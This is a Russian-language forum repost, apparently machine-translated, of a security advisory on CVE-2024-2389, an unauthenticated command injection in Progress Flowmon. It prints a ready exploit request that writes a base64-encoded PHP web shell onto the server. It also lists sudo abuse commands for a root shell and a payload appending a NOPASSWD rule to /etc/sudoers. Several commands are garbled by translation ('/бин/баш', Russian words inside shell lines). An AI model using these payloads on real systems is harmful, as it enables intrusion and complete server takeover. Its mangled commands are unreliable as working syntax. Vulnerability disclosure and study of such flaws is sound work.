CVE-2024-2389: Command Injection Vulnerability in Progress Flowmon

  • Автор темы Автор темы ADMIN
  • Дата начала Дата начала

ADMIN

Administrator
ADMIN
Регистрация
18 Окт 1989
Сообщения
1,396
Реакции
93
Баллы
48
☑ ДЕПОЗИТ
0$

Сводная информация о затронутом продукте​

После нашего первоначального исследования других продуктов Progress мы решили взглянуть на другой продукт Progress, Flowmon. Это привело к обнаружению уязвимости, связанной с внедрением команд без аутентификации, которая в сочетании с повышением привилегий позволяет полностью скомпрометировать root-сервер Flowmon. Этой уязвимости присвоен CVE-2024-2389.
Поставщик: Progress Software
Продукт: Flowmon
Подтвержденная затронутая версия: 12.3.2
Рекомендации поставщика: https://support.kemptechnologies.co...-2389-Flowmon-critical-security-vulnerability

Что такое Progress Flowmon?​

Progress Flowmon — это инструмент мониторинга и анализа сети, который предоставляет комплексную информацию о сетевом трафике, производительности и безопасности. Flowmon использует PHP-фреймворк Nette для своего веб-приложения.

CVE-2024-2389 Внедрение команд без аутентификации​

Неаутентифицированные маршруты​

Мы начали перечислять неаутентифицированные конечные точки в файле «AllowedModulesDecider.php», компоненте, определяющем доступ к модулю в Progress Flowmon. Он содержит массив «ALLOWED_TO_UNLOGGED_USERS», определяющий модули, доступные без аутентификации. После просмотра кода разрешенных модулей в списке выяснилось, что «Service:Pdfs:Confluence» содержит интересный код, связанный с генерацией PDF-файлов. Путь к этому модулю в платформе Nette — «/service.pdfs/confluence».
1-1.png

На этом изображении показаны модули, которые определены как ALLOWED_TO_UNLOGGED_USER (неаутентифицированные пользователи) в файле AllowedModulesDecider.php.

Отслеживание функциональности создания PDF-файлов​

Сосредоточив внимание на модуле «Service:Pdfs:Confluence», мы обнаружили, что он связан с функцией создания PDF-файлов сервиса. В частности, этот процесс обрабатывается в «ConfluencePresenter.php», который обрабатывает входящие запросы и делегирует операции «PdfGenerator.generate()».
2-1.png

Действие по умолчанию для ConfluencePresenter.php принимает параметры плагинаPath, локаль и файл [1] непосредственно из пользовательского ввода. Эти входные данные затем используются для создания URL-адреса и выходной строки файла [2, 3], которые затем передаются в pdfGenerator.generate() в качестве настроек.

Ошибка внедрения команд​

В «PdfGenerator.php» методgenerate()[1] — это просто оболочка для вызова метода getExec.run()[2], который выполняет системные команды.
3-1.png

Собранная командная строка передается методу run() [2] в качестве первого аргумента.
4-1.png

Следует отметить, что метод run() также принимает второй аргумент, который представляет собой массив аргументов, который будет заключен в кавычки с помощью escapeshellarg(), что предотвращает внедрение команд. Если бы аргументы были представлены в виде массива во втором аргументе run(), маловероятно, что это можно было бы использовать, поскольку каждый элемент массива рассматривается как аргумент и передается через escapeshellarg(), когда для него вызывается assembleCommand().
Но в этом случае команда передается как одна строка, которая затем передается непосредственно в exec() [1]. Благодаря этому можно выйти из команды, используя управляющие символы оболочки, и выполнить произвольные команды.

Эксплуатация​

Манипулируя параметрами плагинаPath или файла для внедрения вредоносных команд с помощью подстановки команд $() или «, можно выйти из намеченной команды и выполнить произвольные команды. Команда выполняется вслепую, поэтому невозможно увидеть вывод выполненной команды, но можно записать веб-шелл в /var/www/shtml/.
Запрос по следующему пути:
/service.pdfs/ слияние ? file = userguide & lang = x & pluginPath = $ ( echo + PD9waHAgaWYoaXNzZXQoJF9HRVRbJ2NtZCddKSl7c3lzdGVtKCRfR0VUWydjbWQnXSk7fT8 % 2b +|+ base64 + - d + > /var/ www / shtml / rce.php )
В результате веб-шелл будет записан в «/rce.php».
5.gif

Повышение привилегий до root​

После выполнения команды приложение запускается от имени пользователя «flowmon», поэтому команда будет выполняться от имени этого пользователя. Пользователь flowmon может запускать несколько команд с помощью sudo, и некоторые из команд можно использовать неправильно для получения корневой оболочки.
Следующие методы требуют интерактивной оболочки. Некоторые методы взяты из https://gtfobins.github.io/ .

# ip-команда:
sudo ip netns add foo
sudo ip netns exec foo / bin / ln -s / proc / 1 / ns / net / var / run / netns / bar
sudo ip netns exec bar / bin / bash
sudo ip netns удалить foo
sudo ip netns удалить панель

# Злоупотребление командой timedatectl:
sudo timedatectl list - timezones
! /бин/ баш

#Злоупотребление журналомctl

sudo Journalctl
! /бин/ баш
Кроме того, можно злоупотреблять разрешениями sudo для выполнения кода PHP:
# Перезаписать и выполнить PHP. Это позволит пользователю flowmon затем выполнять любую команду с разрешениями sudo.
cp / var / www / shtml / index . php / tmp / индекс . php . бак
echo '<?php system("echo \"ADMINS ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers"); ?>' > /var/ www / shtml / index . php
sudo / usr / bin / php / var / www / shtml / index . php Cli \: AddNewSource s
cp / tmp / индекс . php . бак / вар / www / shtml / index . php

Доказательство концепции​

Мы создали доказательство концепции эксплойта в нашем репозитории CVE на GitHub . Мы также создали модуль Metasploit, который в настоящее время находится в процессе объединения с основным проектом, но сам модуль также доступен в репозитории CVE.

Выводы и рекомендации​

Это исследование не только выявляет конкретную уязвимость в Progress Flowmon, но также подчеркивает необходимость строгих механизмов проверки и аутентификации для защиты приложений. Поскольку мы сотрудничаем с Progress в целях укрепления их защиты, этот случай олицетворяет продолжающуюся игру в кошки-мышки по обеспечению бдительности в области кибербезопасности.
В заключение мы приглашаем наших читателей просмотреть дополнительные ресурсы и демонстрации концепции на нашем GitHub. Оставайтесь в курсе событий и общайтесь с нами по различным каналам, чтобы получить больше информации о сфере кибербезопасности.
Как всегда, подписывайтесь на нас в Twitter или LinkedIn и присоединяйтесь к нашему серверу Discord, чтобы получать больше выпусков и публикаций в блогах.
Twitter: https://twitter.com/rhinosecurity
LinkedIn: https://www.linkedin.com/company/rhino-security-labs/ Discord: https://discord.gg/TUuH26G5 Исследователь/Автор: https:// twitter.com/daveysec

График раскрытия информации​

05.03.2024Rhino раскрыл уязвимость к Progress
07.03.2024Progress Software устранила уязвимость
13.03.2024Rhino предоставил дополнительную информацию о повышении привилегий
02.04.2024Progress Software уведомляет Rhino о выпуске исправлений и рекомендациях
 
Автоматический гарант это финансовая безопасность: Покупатель может быть уверен, что его деньги не попадут к продавцу до того, как он получит и проверит товар или услугу. Продавец, в свою очередь, защищен от не оплаты, так как гарант подтверждает наличие средств у покупателя до начала выполнения обязательств.
Назад
Сверху